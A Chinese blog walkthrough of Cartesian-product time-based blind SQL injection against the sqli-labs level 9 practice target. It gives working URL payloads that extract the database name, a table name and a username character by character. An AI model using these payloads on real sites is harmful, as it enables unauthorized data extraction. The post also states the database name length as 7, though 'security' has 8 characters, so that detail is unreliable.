ycycyc

笛卡尔积-时间盲注

2025-04-24

笛卡尔积

原理:连接表是一个很耗时的操作(A×B=A和B中每个元素的组合所组成的集合,就是连接表)

SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;

靶场实践sqli-9

?id=1 ' and if(length((select database()))>7,(select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C),0)--+

image-20250424213321067

页面延迟回显

image-20250424213359282

页面直接回显,说明书库名的长度为7.

接下来查询数据库

?id=1 ' and if(ascii(substr(database(),1,1))>114,(select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C),0)--+

image-20250424213424502

页面延迟回显

image-20250424213441011

页面立刻回显

说明数据库名的第一个字符串对应的ascii码的值为115,则第一个字符串为‘s’。

以此类推可以得到完整的数据库名为security。

接下来查询第一个表名的长度

?id=1 ' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5,(select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C),0)--+

image-20250424213458517

页面延迟回显

image-20250424213513579

页面立刻出现回显,说明第一个表名的长度为6。

接下来查询第一个表名

?id=1 ' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100,(select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C),0)--+

image-20250424213532389

页面延迟回显

image-20250424213545009

页面立刻回显,说明表名的第一个字符对应的ascii码的值为101.

更改substr()函数的参数可以得到完整的表名。

依次类推,按照上面的方法可以得到列名以及列的内容,这里写一下具体的查询列的内容的查询语句

?id=1 ' and if(length((select username from users limit 0,1))>3,(select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C),0)--+

image-20250424213602897

页面延迟回显

image-20250424213616364

页面立刻回显

说明username列的第一个数据的长度是4

接下来查询这个列中的第一个字符。

?id=1 ' and if(ascii(substr((select username from users limit 0,1),1,1))>67,(select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C),0)--+

image-20250424213635556

页面延迟回显

image-20250424213648892

页面立刻回显

说明username列的第一个数据的第一个字符对应的ascii码的之为68,

以此类推可以的得到完整的数据。

← Back to Home